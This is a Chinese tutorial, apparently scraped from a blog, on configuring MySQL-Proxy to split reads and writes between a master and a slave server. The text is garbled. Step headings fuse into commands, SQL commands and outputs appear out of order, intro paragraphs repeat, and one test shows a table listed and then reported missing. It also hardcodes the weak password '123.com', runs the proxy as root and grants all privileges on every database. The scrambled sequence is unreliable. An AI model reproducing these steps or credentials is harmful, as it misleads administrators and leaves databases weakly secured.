4).Slave的Sql进程检测到relay-log中新增加了内容后,会马上解析relay-log的内容成为在Master端真实执行时候的那些可执行的内容,并在自身执行。收起阅读 »
MySQL-Proxy实现MySQL读写分离提高并发负载
工作拓扑
MySQL Proxy有一项强大功能是实现“读写分离”,基本原理是让主数据库处理写方面事务,让从库处理SELECT查询。
Amoeba for MySQL是一款优秀的中间件软件,同样可以实现读写分离,负载均衡等功能,并且稳定性也高于MySQL Proxy,有兴趣的可以测试一下。
环境描述:
操作系统:CentOS6.3_x64
主从复制这里就不多说了,可以参考:http://openskill.cn/article/110
1、安装mysql-proxy
实现读写分离是有lua脚本实现的,现在mysql-proxy里面已经集成,无需再安装
下载:http://dev.mysql.com/downloads/mysql-proxy/
1>.在主服务器创建proxy用户用于mysql-proxy使用,从服务器也会同步这个操作
收起阅读 »
MySQL Proxy有一项强大功能是实现“读写分离”,基本原理是让主数据库处理写方面事务,让从库处理SELECT查询。
Amoeba for MySQL是一款优秀的中间件软件,同样可以实现读写分离,负载均衡等功能,并且稳定性也高于MySQL Proxy,有兴趣的可以测试一下。
环境描述:
操作系统:CentOS6.3_x64
- []主服务器Master:192.168.0.202[/][]从服务器Slave:192.168.0.203[/][]调度服务器MySQL-Proxy:192.168.0.204[/]
一、Mysql主从复制
主从复制这里就不多说了,可以参考:http://openskill.cn/article/110
二、Mysql-proxy读写分离实现
1、安装mysql-proxy
实现读写分离是有lua脚本实现的,现在mysql-proxy里面已经集成,无需再安装
下载:http://dev.mysql.com/downloads/mysql-proxy/
tar zxvf mysql-proxy-0.8.3-linux-glibc2.3-x86-64bit.tar.gz2、配置mysql-proxy,创建主配置文件
mv mysql-proxy-0.8.3-linux-glibc2.3-x86-64bit /usr/local/mysql-proxy
cd /usr/local/mysql-proxy3、修改读写分离配置文件
mkdir lua #创建脚本存放目录
mkdir logs #创建日志目录
cp share/doc/mysql-proxy/rw-splitting.lua ./lua #复制读写分离配置文件
cp share/doc/mysql-proxy/admin-sql.lua ./lua #复制管理脚本
vi /etc/mysql-proxy.cnf #创建配置文件
[mysql-proxy]
user=root #运行mysql-proxy用户
admin-username=proxy #主从mysql共有的用户
admin-password=123.com #用户的密码
proxy-address=192.168.0.204:4000 #mysql-proxy运行ip和端口,不加端口,默认4040
proxy-read-only-backend-addresses=192.168.0.203 #指定后端从slave读取数据
proxy-backend-addresses=192.168.0.202 #指定后端主master写入数据
proxy-lua-script=/usr/local/mysql-proxy/lua/rw-splitting.lua #指定读写分离配置文件位置
admin-lua-script=/usr/local/mysql-proxy/lua/admin-sql.lua #指定管理脚本
log-file=/usr/local/mysql-proxy/logs/mysql-proxy.log #日志位置
log-level=info #定义log日志级别,由高到低分别有(error|warning|info|message|debug)
daemon=true #以守护进程方式运行
keepalive=true #mysql-proxy崩溃时,尝试重启
保存退出!
chmod 660 /etc/mysql-porxy.cnf
vi /usr/local/mysql-proxy/lua/rw-splitting.lua4、启动mysql-proxy
if not proxy.global.config.rwsplit then
proxy.global.config.rwsplit = {
min_idle_connections = 1, #默认超过4个连接数时,才开始读写分离,改为1
max_idle_connections = 1, #默认8,改为1
is_debug = false
}
end
/usr/local/mysql-proxy/bin/mysql-proxy --defaults-file=/etc/mysql-proxy.cnf5、测试读写分离
netstat -tupln | grep 4000 #已经启动
tcp 0 0 192.168.0.204:4000 0.0.0.0:* LISTEN 1264/mysql-proxy
关闭mysql-proxy使用:killall -9 mysql-proxy
1>.在主服务器创建proxy用户用于mysql-proxy使用,从服务器也会同步这个操作
mysql> grant all on [i].[/i] to 'proxy'@'192.168.0.204' identified by '123.com';2>.使用客户端连接mysql-proxy
mysql -u proxy -h 192.168.0.204 -P 4000 -p123.com创建数据库和表,这时的数据只写入主mysql,然后再同步从slave,可以先把slave的关了,看能不能写入,这里我就不测试了,下面测试下读的数据!
mysql> create table user (number INT(10),name VARCHAR(255));3>.登陆主从mysq查看新写入的数据如下
mysql> insert into test values(01,'zhangsan');
mysql> insert into user values(02,'lisi');
mysql> use test;4>.再登陆到mysql-proxy,查询数据,看出能正常查询
Database changed
mysql> select * from user;
+--------+----------+
| number | name |
+--------+----------+
| 1 | zhangsan |
| 2 | lisi |
+--------+----------+
mysql -u proxy -h 192.168.0.204 -P 4000 -p123.com5>.登陆从服务器关闭mysql同步进程,这时再登陆mysql-proxy肯定会查询不出数据
mysql> use test;
mysql> select * from user;
+--------+----------+
| number | name |
+--------+----------+
| 1 | zhangsan |
| 2 | lisi |
+--------+----------+
slave stop;6>.登陆mysql-proxy查询数据,下面看来,能看到表,查询不出数据
mysql> use test;配置成功!真正实现了读写分离的效果!
Database changed
mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| user |
+----------------+
mysql> select * from user;
ERROR 1146 (42S02): Table 'test.user' doesn't exist
原文作者:李振良
分享原文地址:http://lizhenliang.blog.51cto.com/7876557/1305083
收起阅读 »